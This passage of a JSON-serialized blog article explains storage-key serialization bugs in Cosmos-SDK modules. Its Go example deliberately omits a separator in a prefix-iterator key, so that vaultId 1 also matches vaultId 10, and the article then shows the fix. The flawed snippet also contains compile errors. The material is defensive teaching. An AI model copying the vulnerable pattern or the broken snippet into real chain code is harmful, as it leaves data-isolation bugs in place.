ag":327,"props":94961,"children":94962},{"style":346},[94963],{"type":29,"value":592},{"type":24,"tag":25,"props":94965,"children":94966},{},[94967],{"type":29,"value":94968},"We now have a proper example of how to serialize storage keys.",{"type":24,"tag":25,"props":94970,"children":94971},{},[94972,94974,94979],{"type":29,"value":94973},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":24,"tag":284,"props":94975,"children":94977},{"className":94976},[],[94978],{"type":29,"value":73826},{"type":29,"value":94980},", data should still be retrievable through original keys.",{"type":24,"tag":25,"props":94982,"children":94983},{},[94984,94986,94992,94994,94999],{"type":29,"value":94985},"Let's look at a case where we want to retrieve all ",{"type":24,"tag":284,"props":94987,"children":94989},{"className":94988},[],[94990],{"type":29,"value":94991},"map[Username]map[PositionName]Position",{"type":29,"value":94993}," associated with a ",{"type":24,"tag":284,"props":94995,"children":94997},{"className":94996},[],[94998],{"type":29,"value":91862},{"type":29,"value":95000}," from the storage. How can we safely accomplish this?",{"type":24,"tag":25,"props":95002,"children":95003},{},[95004,95006,95011,95013,95019],{"type":29,"value":95005},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":24,"tag":284,"props":95007,"children":95009},{"className":95008},[],[95010],{"type":29,"value":91933},{"type":29,"value":95012}," prefix. Below is an example of an attempt to fetch data with ",{"type":24,"tag":284,"props":95014,"children":95016},{"className":95015},[],[95017],{"type":29,"value":95018},"vaultId",{"type":29,"value":1636},{"type":24,"tag":317,"props":95021,"children":95023},{"code":95022,"language":82891,"meta":7,"className":82892,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[95024],{"type":24,"tag":284,"props":95025,"children":95026},{"__ignoreMap":7},[95027,95043,95058,95107,95159,95188,95200,95246,95253,95299,95354,95361,95425,95486,95509,95528,95535,95542,95602,95661,95684,95703,95710,95717,95770,95818,95825,95832,95872,95901,95908,95915,95927],{"type":24,"tag":327,"props":95028,"children":95029},{"class":329,"line":330},[95030,95034,95039],{"type":24,"tag":327,"props":95031,"children":95032},{"style":334},[95033],{"type":29,"value":83027},{"type":24,"tag":327,"props":95035,"children":95036},{"style":340},[95037],{"type":29,"value":95038}," FetchPositionMapWithVaultId",{"type":24,"tag":327,"props":95040,"children":95041},{"style":346},[95042],{"type":29,"value":4663},{"type":24,"tag":327,"props":95044,"children":95045},{"class":329,"line":367},[95046,95050,95054],{"type":24,"tag":327,"props":95047,"children":95048},{"style":356},[95049],{"type":29,"value":91974},{"type":24,"tag":327,"props":95051,"children":95052},{"style":1639},[95053],{"type":29,"value":83148},{"type":24,"tag":327,"props":95055,"children":95056},{"style":346},[95057],{"type":29,"value":2231},{"type":24,"tag":327,"props":95059,"children":95060},{"class":329,"line":408},[95061,95066,95070,95074,95078,95082,95086,95090,95094,95098,95103],{"type":24,"tag":327,"props":95062,"children":95063},{"style":346},[95064],{"type":29,"value":95065},") ([]",{"type":24,"tag":327,"props":95067,"children":95068},{"style":334},[95069],{"type":29,"value":73826},{"type":24,"tag":327,"props":95071,"children":95072},{"style":346},[95073],{"type":29,"value":11329},{"type":24,"tag":327,"props":95075,"children":95076},{"style":1639},[95077],{"type":29,"value":91879},{"type":24,"tag":327,"props":95079,"children":95080},{"style":346},[95081],{"type":29,"value":22934},{"type":24,"tag":327,"props":95083,"children":95084},{"style":334},[95085],{"type":29,"value":73826},{"type":24,"tag":327,"props":95087,"children":95088},{"style":346},[95089],{"type":29,"value":11329},{"type":24,"tag":327,"props":95091,"children":95092},{"style":1639},[95093],{"type":29,"value":91896},{"type":24,"tag":327,"props":95095,"children":95096},{"style":346},[95097],{"type":29,"value":22934},{"type":24,"tag":327,"props":95099,"children":95100},{"style":1639},[95101],{"type":29,"value":95102},"Position",{"type":24,"tag":327,"props":95104,"children":95105},{"style":346},[95106],{"type":29,"value":364},{"type":24,"tag":327,"props":95108,"children":95109},{"class":329,"line":421},[95110,95115,95119,95123,95127,95131,95135,95139,95143,95147,95151,95155],{"type":24,"tag":327,"props":95111,"children":95112},{"style":356},[95113],{"type":29,"value":95114},"    values",{"type":24,"tag":327,"props":95116,"children":95117},{"style":381},[95118],{"type":29,"value":83143},{"type":24,"tag":327,"props":95120,"children":95121},{"style":334},[95122],{"type":29,"value":56389},{"type":24,"tag":327,"props":95124,"children":95125},{"style":346},[95126],{"type":29,"value":11329},{"type":24,"tag":327,"props":95128,"children":95129},{"style":1639},[95130],{"type":29,"value":91879},{"type":24,"tag":327,"props":95132,"children":95133},{"style":346},[95134],{"type":29,"value":22934},{"type":24,"tag":327,"props":95136,"children":95137},{"style":334},[95138],{"type":29,"value":73826},{"type":24,"tag":327,"props":95140,"children":95141},{"style":346},[95142],{"type":29,"value":11329},{"type":24,"tag":327,"props":95144,"children":95145},{"style":1639},[95146],{"type":29,"value":91896},{"type":24,"tag":327,"props":95148,"children":95149},{"style":346},[95150],{"type":29,"value":22934},{"type":24,"tag":327,"props":95152,"children":95153},{"style":1639},[95154],{"type":29,"value":95102},{"type":24,"tag":327,"props":95156,"children":95157},{"style":346},[95158],{"type":29,"value":84824},{"type":24,"tag":327,"props":95160,"children":95161},{"class":329,"line":450},[95162,95167,95171,95175,95179,95184],{"type":24,"tag":327,"props":95163,"children":95164},{"style":356},[95165],{"type":29,"value":95166},"    i",{"type":24,"tag":327,"props":95168,"children":95169},{"style":381},[95170],{"type":29,"value":83143},{"type":24,"tag":327,"props":95172,"children":95173},{"style":356},[95174],{"type":29,"value":85368},{"type":24,"tag":327,"props":95176,"children":95177},{"style":346},[95178],{"type":29,"value":66},{"type":24,"tag":327,"props":95180,"children":95181},{"style":340},[95182],{"type":29,"value":95183},"KVStorePrefixIterator",{"type":24,"tag":327,"props":95185,"children":95186},{"style":346},[95187],{"type":29,"value":4663},{"type":24,"tag":327,"props":95189,"children":95190},{"class":329,"line":481},[95191,95196],{"type":24,"tag":327,"props":95192,"children":95193},{"style":356},[95194],{"type":29,"value":95195},"        kvStore",{"type":24,"tag":327,"props":95197,"children":95198},{"style":346},[95199],{"type":29,"value":2231},{"type":24,"tag":327,"props":95201,"children":95202},{"class":329,"line":500},[95203,95208,95212,95216,95220,95225,95229,95234,95238,95242],{"type":24,"tag":327,"props":95204,"children":95205},{"style":356},[95206],{"type":29,"value":95207},"        fmt",{"type":24,"tag":327,"props":95209,"children":95210},{"style":346},[95211],{"type":29,"value":66},{"type":24,"tag":327,"props":95213,"children":95214},{"style":340},[95215],{"type":29,"value":91950},{"type":24,"tag":327,"props":95217,"children":95218},{"style":346},[95219],{"type":29,"value":349},{"type":24,"tag":327,"props":95221,"children":95222},{"style":844},[95223],{"type":29,"value":95224},"\"%s%d\"",{"type":24,"tag":327,"props":95226,"children":95227},{"style":346},[95228],{"type":29,"value":2744},{"type":24,"tag":327,"props":95230,"children":95231},{"style":356},[95232],{"type":29,"value":95233},"PositionMapPrefix",{"type":24,"tag":327,"props":95235,"children":95236},{"style":346},[95237],{"type":29,"value":2744},{"type":24,"tag":327,"props":95239,"children":95240},{"style":356},[95241],{"type":29,"value":95018},{"type":24,"tag":327,"props":95243,"children":95244},{"style":346},[95245],{"type":29,"value":852},{"type":24,"tag":327,"props":95247,"children":95248},{"class":329,"line":529},[95249],{"type":24,"tag":327,"props":95250,"children":95251},{"style":346},[95252],{"type":29,"value":5366},{"type":24,"tag":327,"props":95254,"children":95255},{"class":329,"line":538},[95256,95260,95265,95269,95273,95278,95282,95286,95290,95295],{"type":24,"tag":327,"props":95257,"children":95258},{"style":425},[95259],{"type":29,"value":10643},{"type":24,"tag":327,"props":95261,"children":95262},{"style":346},[95263],{"type":29,"value":95264}," ; ",{"type":24,"tag":327,"props":95266,"children":95267},{"style":356},[95268],{"type":29,"value":11334},{"type":24,"tag":327,"props":95270,"children":95271},{"style":346},[95272],{"type":29,"value":66},{"type":24,"tag":327,"props":95274,"children":95275},{"style":340},[95276],{"type":29,"value":95277},"Valid",{"type":24,"tag":327,"props":95279,"children":95280},{"style":346},[95281],{"type":29,"value":9926},{"type":24,"tag":327,"props":95283,"children":95284},{"style":356},[95285],{"type":29,"value":11334},{"type":24,"tag":327,"props":95287,"children":95288},{"style":346},[95289],{"type":29,"value":66},{"type":24,"tag":327,"props":95291,"children":95292},{"style":340},[95293],{"type":29,"value":95294},"Next",{"type":24,"tag":327,"props":95296,"children":95297},{"style":346},[95298],{"type":29,"value":9697},{"type":24,"tag":327,"props":95300,"children":95301},{"class":329,"line":547},[95302,95307,95311,95316,95320,95324,95328,95332,95336,95341,95345,95350],{"type":24,"tag":327,"props":95303,"children":95304},{"style":356},[95305],{"type":29,"value":95306},"        k",{"type":24,"tag":327,"props":95308,"children":95309},{"style":381},[95310],{"type":29,"value":83143},{"type":24,"tag":327,"props":95312,"children":95313},{"style":356},[95314],{"type":29,"value":95315}," strings",{"type":24,"tag":327,"props":95317,"children":95318},{"style":346},[95319],{"type":29,"value":66},{"type":24,"tag":327,"props":95321,"children":95322},{"style":340},[95323],{"type":29,"value":76767},{"type":24,"tag":327,"props":95325,"children":95326},{"style":346},[95327],{"type":29,"value":349},{"type":24,"tag":327,"props":95329,"children":95330},{"style":356},[95331],{"type":29,"value":11334},{"type":24,"tag":327,"props":95333,"children":95334},{"style":346},[95335],{"type":29,"value":66},{"type":24,"tag":327,"props":95337,"children":95338},{"style":340},[95339],{"type":29,"value":95340},"Key",{"type":24,"tag":327,"props":95342,"children":95343},{"style":346},[95344],{"type":29,"value":25885},{"type":24,"tag":327,"props":95346,"children":95347},{"style":356},[95348],{"type":29,"value":95349},"Seperator",{"type":24,"tag":327,"props":95351,"children":95352},{"style":346},[95353],{"type":29,"value":852},{"type":24,"tag":327,"props":95355,"children":95356},{"class":329,"line":557},[95357],{"type":24,"tag":327,"props":95358,"children":95359},{"emptyLinePlaceholder":16},[95360],{"type":29,"value":544},{"type":24,"tag":327,"props":95362,"children":95363},{"class":329,"line":586},[95364,95369,95373,95377,95382,95386,95390,95394,95398,95403,95407,95412,95416,95420],{"type":24,"tag":327,"props":95365,"children":95366},{"style":356},[95367],{"type":29,"value":95368},"        username",{"type":24,"tag":327,"props":95370,"children":95371},{"style":381},[95372],{"type":29,"value":83143},{"type":24,"tag":327,"props":95374,"children":95375},{"style":340},[95376],{"type":29,"value":92291},{"type":24,"tag":327,"props":95378,"children":95379},{"style":346},[95380],{"type":29,"value":95381},"([]",{"type":24,"tag":327,"props":95383,"children":95384},{"style":1639},[95385],{"type":29,"value":91492},{"type":24,"tag":327,"props":95387,"children":95388},{"style":346},[95389],{"type":29,"value":2744},{"type":24,"tag":327,"props":95391,"children":95392},{"style":356},[95393],{"type":29,"value":92364},{"type":24,"tag":327,"props":95395,"children":95396},{"style":346},[95397],{"type":29,"value":66},{"type":24,"tag":327,"props":95399,"children":95400},{"style":340},[95401],{"type":29,"value":95402},"DecodedLen",{"type":24,"tag":327,"props":95404,"children":95405},{"style":346},[95406],{"type":29,"value":349},{"type":24,"tag":327,"props":95408,"children":95409},{"style":356},[95410],{"type":29,"value":95411},"k",{"type":24,"tag":327,"props":95413,"children":95414},{"style":346},[95415],{"type":29,"value":11329},{"type":24,"tag":327,"props":95417,"children":95418},{"style":397},[95419],{"type":29,"value":2988},{"type":24,"tag":327,"props":95421,"children":95422},{"style":346},[95423],{"type":29,"value":95424},"]))\n",{"type":24,"tag":327,"props":95426,"children":95427},{"class":329,"line":1017},[95428,95432,95436,95440,95444,95449,95453,95458,95462,95466,95470,95474,95478,95482],{"type":24,"tag":327,"props":95429,"children":95430},{"style":356},[95431],{"type":29,"value":9220},{"type":24,"tag":327,"props":95433,"children":95434},{"style":346},[95435],{"type":29,"value":2744},{"type":24,"tag":327,"props":95437,"children":95438},{"style":356},[95439],{"type":29,"value":55140},{"type":24,"tag":327,"props":95441,"children":95442},{"style":381},[95443],{"type":29,"value":83143},{"type":24,"tag":327,"props":95445,"children":95446},{"style":356},[95447],{"type":29,"value":95448}," hex",{"type":24,"tag":327,"props":95450,"children":95451},{"style":346},[95452],{"type":29,"value":66},{"type":24,"tag":327,"props":95454,"children":95455},{"style":340},[95456],{"type":29,"value":95457},"Decode",{"type":24,"tag":327,"props":95459,"children":95460},{"style":346},[95461],{"type":29,"value":349},{"type":24,"tag":327,"props":95463,"children":95464},{"style":356},[95465],{"type":29,"value":92198},{"type":24,"tag":327,"props":95467,"children":95468},{"style":346},[95469],{"type":29,"value":2744},{"type":24,"tag":327,"props":95471,"children":95472},{"style":356},[95473],{"type":29,"value":95411},{"type":24,"tag":327,"props":95475,"children":95476},{"style":346},[95477],{"type":29,"value":11329},{"type":24,"tag":327,"props":95479,"children":95480},{"style":397},[95481],{"type":29,"value":2988},{"type":24,"tag":327,"props":95483,"children":95484},{"style":346},[95485],{"type":29,"value":62162},{"type":24,"tag":327,"props":95487,"children":95488},{"class":329,"line":1026},[95489,95493,95497,95501,95505],{"type":24,"tag":327,"props":95490,"children":95491},{"style":425},[95492],{"type":29,"value":8861},{"type":24,"tag":327,"props":95494,"children":95495},{"style":356},[95496],{"type":29,"value":55241},{"type":24,"tag":327,"props":95498,"children":95499},{"style":381},[95500],{"type":29,"value":71110},{"type":24,"tag":327,"props":95502,"children":95503},{"style":334},[95504],{"type":29,"value":88645},{"type":24,"tag":327,"props":95506,"children":95507},{"style":346},[95508],{"type":29,"value":497},{"type":24,"tag":327,"props":95510,"children":95511},{"class":329,"line":1048},[95512,95516,95520,95524],{"type":24,"tag":327,"props":95513,"children":95514},{"style":425},[95515],{"type":29,"value":85803},{"type":24,"tag":327,"props":95517,"children":95518},{"style":334},[95519],{"type":29,"value":88645},{"type":24,"tag":327,"props":95521,"children":95522},{"style":346},[95523],{"type":29,"value":2744},{"type":24,"tag":327,"props":95525,"children":95526},{"style":356},[95527],{"type":29,"value":90366},{"type":24,"tag":327,"props":95529,"children":95530},{"class":329,"line":1067},[95531],{"type":24,"tag":327,"props":95532,"children":95533},{"style":346},[95534],{"type":29,"value":8989},{"type":24,"tag":327,"props":95536,"children":95537},{"class":329,"line":1075},[95538],{"type":24,"tag":327,"props":95539,"children":95540},{"emptyLinePlaceholder":16},[95541],{"type":29,"value":544},{"type":24,"tag":327,"props":95543,"children":95544},{"class":329,"line":1084},[95545,95550,95554,95558,95562,95566,95570,95574,95578,95582,95586,95590,95594,95598],{"type":24,"tag":327,"props":95546,"children":95547},{"style":356},[95548],{"type":29,"value":95549},"        positionName",{"type":24,"tag":327,"props":95551,"children":95552},{"style":381},[95553],{"type":29,"value":83143},{"type":24,"tag":327,"props":95555,"children":95556},{"style":340},[95557],{"type":29,"value":92291},{"type":24,"tag":327,"props":95559,"children":95560},{"style":346},[95561],{"type":29,"value":95381},{"type":24,"tag":327,"props":95563,"children":95564},{"style":1639},[95565],{"type":29,"value":91492},{"type":24,"tag":327,"props":95567,"children":95568},{"style":346},[95569],{"type":29,"value":2744},{"type":24,"tag":327,"props":95571,"children":95572},{"style":356},[95573],{"type":29,"value":92364},{"type":24,"tag":327,"props":95575,"children":95576},{"style":346},[95577],{"type":29,"value":66},{"type":24,"tag":327,"props":95579,"children":95580},{"style":340},[95581],{"type":29,"value":95402},{"type":24,"tag":327,"props":95583,"children":95584},{"style":346},[95585],{"type":29,"value":349},{"type":24,"tag":327,"props":95587,"children":95588},{"style":356},[95589],{"type":29,"value":95411},{"type":24,"tag":327,"props":95591,"children":95592},{"style":346},[95593],{"type":29,"value":11329},{"type":24,"tag":327,"props":95595,"children":95596},{"style":397},[95597],{"type":29,"value":3238},{"type":24,"tag":327,"props":95599,"children":95600},{"style":346},[95601],{"type":29,"value":95424},{"type":24,"tag":327,"props":95603,"children":95604},{"class":329,"line":1100},[95605,95609,95613,95617,95621,95625,95629,95633,95637,95641,95645,95649,95653,95657],{"type":24,"tag":327,"props":95606,"children":95607},{"style":356},[95608],{"type":29,"value":9220},{"type":24,"tag":327,"props":95610,"children":95611},{"style":346},[95612],{"type":29,"value":2744},{"type":24,"tag":327,"props":95614,"children":95615},{"style":356},[95616],{"type":29,"value":55140},{"type":24,"tag":327,"props":95618,"children":95619},{"style":381},[95620],{"type":29,"value":83143},{"type":24,"tag":327,"props":95622,"children":95623},{"style":356},[95624],{"type":29,"value":95448},{"type":24,"tag":327,"props":95626,"children":95627},{"style":346},[95628],{"type":29,"value":66},{"type":24,"tag":327,"props":95630,"children":95631},{"style":340},[95632],{"type":29,"value":95457},{"type":24,"tag":327,"props":95634,"children":95635},{"style":346},[95636],{"type":29,"value":349},{"type":24,"tag":327,"props":95638,"children":95639},{"style":356},[95640],{"type":29,"value":92467},{"type":24,"tag":327,"props":95642,"children":95643},{"style":346},[95644],{"type":29,"value":2744},{"type":24,"tag":327,"props":95646,"children":95647},{"style":356},[95648],{"type":29,"value":95411},{"type":24,"tag":327,"props":95650,"children":95651},{"style":346},[95652],{"type":29,"value":11329},{"type":24,"tag":327,"props":95654,"children":95655},{"style":397},[95656],{"type":29,"value":3238},{"type":24,"tag":327,"props":95658,"children":95659},{"style":346},[95660],{"type":29,"value":62162},{"type":24,"tag":327,"props":95662,"children":95663},{"class":329,"line":1128},[95664,95668,95672,95676,95680],{"type":24,"tag":327,"props":95665,"children":95666},{"style":425},[95667],{"type":29,"value":8861},{"type":24,"tag":327,"props":95669,"children":95670},{"style":356},[95671],{"type":29,"value":55241},{"type":24,"tag":327,"props":95673,"children":95674},{"style":381},[95675],{"type":29,"value":71110},{"type":24,"tag":327,"props":95677,"children":95678},{"style":334},[95679],{"type":29,"value":88645},{"type":24,"tag":327,"props":95681,"children":95682},{"style":346},[95683],{"type":29,"value":497},{"type":24,"tag":327,"props":95685,"children":95686},{"class":329,"line":1148},[95687,95691,95695,95699],{"type":24,"tag":327,"props":95688,"children":95689},{"style":425},[95690],{"type":29,"value":85803},{"type":24,"tag":327,"props":95692,"children":95693},{"style":334},[95694],{"type":29,"value":88645},{"type":24,"tag":327,"props":95696,"children":95697},{"style":346},[95698],{"type":29,"value":2744},{"type":24,"tag":327,"props":95700,"children":95701},{"style":356},[95702],{"type":29,"value":90366},{"type":24,"tag":327,"props":95704,"children":95705},{"class":329,"line":1176},[95706],{"type":24,"tag":327,"props":95707,"children":95708},{"style":346},[95709],{"type":29,"value":8989},{"type":24,"tag":327,"props":95711,"children":95712},{"class":329,"line":1184},[95713],{"type":24,"tag":327,"props":95714,"children":95715},{"emptyLinePlaceholder":16},[95716],{"type":29,"value":544},{"type":24,"tag":327,"props":95718,"children":95719},{"class":329,"line":1192},[95720,95724,95728,95732,95736,95740,95745,95749,95753,95758,95762,95766],{"type":24,"tag":327,"props":95721,"children":95722},{"style":425},[95723],{"type":29,"value":8861},{"type":24,"tag":327,"props":95725,"children":95726},{"style":356},[95727],{"type":29,"value":69365},{"type":24,"tag":327,"props":95729,"children":95730},{"style":346},[95731],{"type":29,"value":2744},{"type":24,"tag":327,"props":95733,"children":95734},{"style":356},[95735],{"type":29,"value":85494},{"type":24,"tag":327,"props":95737,"children":95738},{"style":381},[95739],{"type":29,"value":83143},{"type":24,"tag":327,"props":95741,"children":95742},{"style":356},[95743],{"type":29,"value":95744}," values",{"type":24,"tag":327,"props":95746,"children":95747},{"style":346},[95748],{"type":29,"value":11329},{"type":24,"tag":327,"props":95750,"children":95751},{"style":356},[95752],{"type":29,"value":92198},{"type":24,"tag":327,"props":95754,"children":95755},{"style":346},[95756],{"type":29,"value":95757},"]; ",{"type":24,"tag":327,"props":95759,"children":95760},{"style":381},[95761],{"type":29,"value":1986},{"type":24,"tag":327,"props":95763,"children":95764},{"style":356},[95765],{"type":29,"value":85494},{"type":24,"tag":327,"props":95767,"children":95768},{"style":346},[95769],{"type":29,"value":497},{"type":24,"tag":327,"props":95771,"children":95772},{"class":329,"line":1212},[95773,95778,95782,95786,95790,95794,95798,95802,95806,95810,95814],{"type":24,"tag":327,"props":95774,"children":95775},{"style":356},[95776],{"type":29,"value":95777},"            values",{"type":24,"tag":327,"props":95779,"children":95780},{"style":346},[95781],{"type":29,"value":11329},{"type":24,"tag":327,"props":95783,"children":95784},{"style":356},[95785],{"type":29,"value":92198},{"type":24,"tag":327,"props":95787,"children":95788},{"style":346},[95789],{"type":29,"value":16221},{"type":24,"tag":327,"props":95791,"children":95792},{"style":381},[95793],{"type":29,"value":384},{"type":24,"tag":327,"props":95795,"children":95796},{"style":340},[95797],{"type":29,"value":92291},{"type":24,"tag":327,"props":95799,"children":95800},{"style":346},[95801],{"type":29,"value":349},{"type":24,"tag":327,"props":95803,"children":95804},{"style":334},[95805],{"type":29,"value":73826},{"type":24,"tag":327,"props":95807,"children":95808},{"style":346},[95809],{"type":29,"value":11329},{"type":24,"tag":327,"props":95811,"children":95812},{"style":1639},[95813],{"type":29,"value":91896},{"type":24,"tag":327,"props":95815,"children":95816},{"style":346},[95817],{"type":29,"value":62162},{"type":24,"tag":327,"props":95819,"children":95820},{"class":329,"line":4841},[95821],{"type":24,"tag":327,"props":95822,"children":95823},{"style":346},[95824],{"type":29,"value":8989},{"type":24,"tag":327,"props":95826,"children":95827},{"class":329,"line":4862},[95828],{"type":24,"tag":327,"props":95829,"children":95830},{"emptyLinePlaceholder":16},[95831],{"type":29,"value":544},{"type":24,"tag":327,"props":95833,"children":95834},{"class":329,"line":4870},[95835,95840,95844,95848,95852,95856,95860,95864,95868],{"type":24,"tag":327,"props":95836,"children":95837},{"style":356},[95838],{"type":29,"value":95839},"        values",{"type":24,"tag":327,"props":95841,"children":95842},{"style":346},[95843],{"type":29,"value":11329},{"type":24,"tag":327,"props":95845,"children":95846},{"style":356},[95847],{"type":29,"value":92198},{"type":24,"tag":327,"props":95849,"children":95850},{"style":346},[95851],{"type":29,"value":55678},{"type":24,"tag":327,"props":95853,"children":95854},{"style":356},[95855],{"type":29,"value":92467},{"type":24,"tag":327,"props":95857,"children":95858},{"style":346},[95859],{"type":29,"value":16221},{"type":24,"tag":327,"props":95861,"children":95862},{"style":381},[95863],{"type":29,"value":384},{"type":24,"tag":327,"props":95865,"children":95866},{"style":356},[95867],{"type":29,"value":14987},{"type":24,"tag":327,"props":95869,"children":95870},{"style":346},[95871],{"type":29,"value":497},{"type":24,"tag":327,"props":95873,"children":95874},{"class":329,"line":4879},[95875,95879,95883,95888,95892,95897],{"type":24,"tag":327,"props":95876,"children":95877},{"style":356},[95878],{"type":29,"value":8414},{"type":24,"tag":327,"props":95880,"children":95881},{"style":346},[95882],{"type":29,"value":3459},{"type":24,"tag":327,"props":95884,"children":95885},{"style":356},[95886],{"type":29,"value":95887},"iterator",{"type":24,"tag":327,"props":95889,"children":95890},{"style":346},[95891],{"type":29,"value":66},{"type":24,"tag":327,"props":95893,"children":95894},{"style":340},[95895],{"type":29,"value":95896},"Value",{"type":24,"tag":327,"props":95898,"children":95899},{"style":346},[95900],{"type":29,"value":5357},{"type":24,"tag":327,"props":95902,"children":95903},{"class":329,"line":4913},[95904],{"type":24,"tag":327,"props":95905,"children":95906},{"style":346},[95907],{"type":29,"value":8989},{"type":24,"tag":327,"props":95909,"children":95910},{"class":329,"line":4938},[95911],{"type":24,"tag":327,"props":95912,"children":95913},{"style":346},[95914],{"type":29,"value":535},{"type":24,"tag":327,"props":95916,"children":95917},{"class":329,"line":4974},[95918,95922],{"type":24,"tag":327,"props":95919,"children":95920},{"style":425},[95921],{"type":29,"value":6023},{"type":24,"tag":327,"props":95923,"children":95924},{"style":356},[95925],{"type":29,"value":95926}," values\n",{"type":24,"tag":327,"props":95928,"children":95929},{"class":329,"line":4982},[95930],{"type":24,"tag":327,"props":95931,"children":95932},{"style":346},[95933],{"type":29,"value":592},{"type":24,"tag":25,"props":95935,"children":95936},{},[95937,95939,95945,95946,95952,95954,95959,95961,95966,95968,95973,95975,95981,95983,95989],{"type":29,"value":95938},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":24,"tag":284,"props":95940,"children":95942},{"className":95941},[],[95943],{"type":29,"value":95944},"vaultId = 1",{"type":29,"value":1323},{"type":24,"tag":284,"props":95947,"children":95949},{"className":95948},[],[95950],{"type":29,"value":95951},"vaultId = 10",{"type":29,"value":95953}," coexist. If we try to fetch data under ",{"type":24,"tag":284,"props":95955,"children":95957},{"className":95956},[],[95958],{"type":29,"value":95944},{"type":29,"value":95960},", all entries under ",{"type":24,"tag":284,"props":95962,"children":95964},{"className":95963},[],[95965],{"type":29,"value":95951},{"type":29,"value":95967}," will also be returned simply because ",{"type":24,"tag":284,"props":95969,"children":95971},{"className":95970},[],[95972],{"type":29,"value":3238},{"type":29,"value":95974}," is a prefix of ",{"type":24,"tag":284,"props":95976,"children":95978},{"className":95977},[],[95979],{"type":29,"value":95980},"10",{"type":29,"value":95982},". To fix this, we must once again append the ",{"type":24,"tag":284,"props":95984,"children":95986},{"className":95985},[],[95987],{"type":29,"value":95988},"Separator",{"type":29,"value":95990}," to the iterator prefix.",{"type":24,"tag":317,"props":95992,"children":95994},{"code":95993,"language":82891,"meta":7,"className":82892,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[95995],{"type":24,"tag":284,"props":95996,"children":95997},{"__ignoreMap":7},[95998,96025,96037,96090],{"type":24,"tag":327,"props":95999,"children":96000},{"class":329,"line":330},[96001,96005,96009,96013,96017,96021],{"type":24,"tag":327,"props":96002,"children":96003},{"style":356},[96004],{"type":29,"value":11334},{"type":24,"tag":327,"props":96006,"children":96007},{"style":381},[96008],{"type":29,"value":83143},{"type":24,"tag":327,"props":96010,"children":96011},{"style":356},[96012],{"type":29,"value":85368},{"type":24,"tag":327,"props":96014,"children":96015},{"style":346},[96016],{"type":29,"value":66},{"type":24,"tag":327,"props":96018,"children":96019},{"style":340},[96020],{"type":29,"value":95183},{"type":24,"tag":327,"props":96022,"children":96023},{"style":346},[96024],{"type":29,"value":4663},{"type":24,"tag":327,"props":96026,"children":96027},{"class":329,"line":367},[96028,96033],{"type":24,"tag":327,"props":96029,"children":96030},{"style":356},[96031],{"type":29,"value":96032},"    kvStore",{"type":24,"tag":327,"props":96034,"children":96035},{"style":346},[96036],{"type":29,"value":2231},{"type":24,"tag":327,"props":96038,"children":96039},{"class":329,"line":408},[96040,96045,96049,96053,96057,96062,96066,96070,96074,96078,96082,96086],{"type":24,"tag":327,"props":96041,"children":96042},{"style":356},[96043],{"type":29,"value":96044},"    fmt",{"type":24,"tag":327,"props":96046,"children":96047},{"style":346},[96048],{"type":29,"value":66},{"type":24,"tag":327,"props":96050,"children":96051},{"style":340},[96052],{"type":29,"value":91950},{"type":24,"tag":327,"props":96054,"children":96055},{"style":346},[96056],{"type":29,"value":349},{"type":24,"tag":327,"props":96058,"children":96059},{"style":844},[96060],{"type":29,"value":96061},"\"%s%d%s\"",{"type":24,"tag":327,"props":96063,"children":96064},{"style":346},[96065],{"type":29,"value":2744},{"type":24,"tag":327,"props":96067,"children":96068},{"style":356},[96069],{"type":29,"value":95233},{"type":24,"tag":327,"props":96071,"children":96072},{"style":346},[96073],{"type":29,"value":2744},{"type":24,"tag":327,"props":96075,"children":96076},{"style":356},[96077],{"type":29,"value":95018},{"type":24,"tag":327,"props":96079,"children":96080},{"style":346},[96081],{"type":29,"value":2744},{"type":24,"tag":327,"props":96083,"children":96084},{"style":356},[96085],{"type":29,"value":95349},{"type":24,"tag":327,"props":96087,"children":96088},{"style":346},[96089],{"type":29,"value":9212},{"type":24,"tag":327,"props":96091,"children":96092},{"class":329,"line":421},[96093],{"type":24,"tag":327,"props":96094,"children":96095},{"style":346},[96096],{"type":29,"value":852},{"type":24,"tag":25,"props":96098,"children":96099},{},[96100,96102,96107],{"type":29,"value":96101},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":24,"tag":284,"props":96103,"children":96105},{"className":96104},[],[96106],{"type":29,"value":91704},{"type":29,"value":96108}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":24,"tag":25,"props":96110,"children":96111},{},[96112],{"type":29,"value":96113},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":24,"tag":235,"props":96115,"children":96117},{"id":96116},"real-world-examples-5",[96118],{"type":29,"value":83416},{"type":24,"tag":25,"props":96120,"children":96121},{},[96122,96123,96128,96130,96137,96139,96145],{"type":29,"value":1713},{"type":24,"tag":284,"props":96124,"children":96126},{"className":96125},[],[96127],{"type":29,"value":85189},{"type":29,"value":96129}," previously lacked protection against KVStore ",{"type":24,"tag":57,"props":96131,"children":96134},{"href":96132,"rel":96133},"https://github.com/cosmos/cosmos-sdk/pull/9363",[61],[96135],{"type":29,"value":96136},"key collisions",{"type":29,"value":96138},". This prior oversight allowed developers to unintentionally create two ",{"type":24,"tag":284,"props":96140,"children":96142},{"className":96141},[],[96143],{"type":29,"value":96144},"KVStores",{"type":29,"value":96146}," that were not independent of each 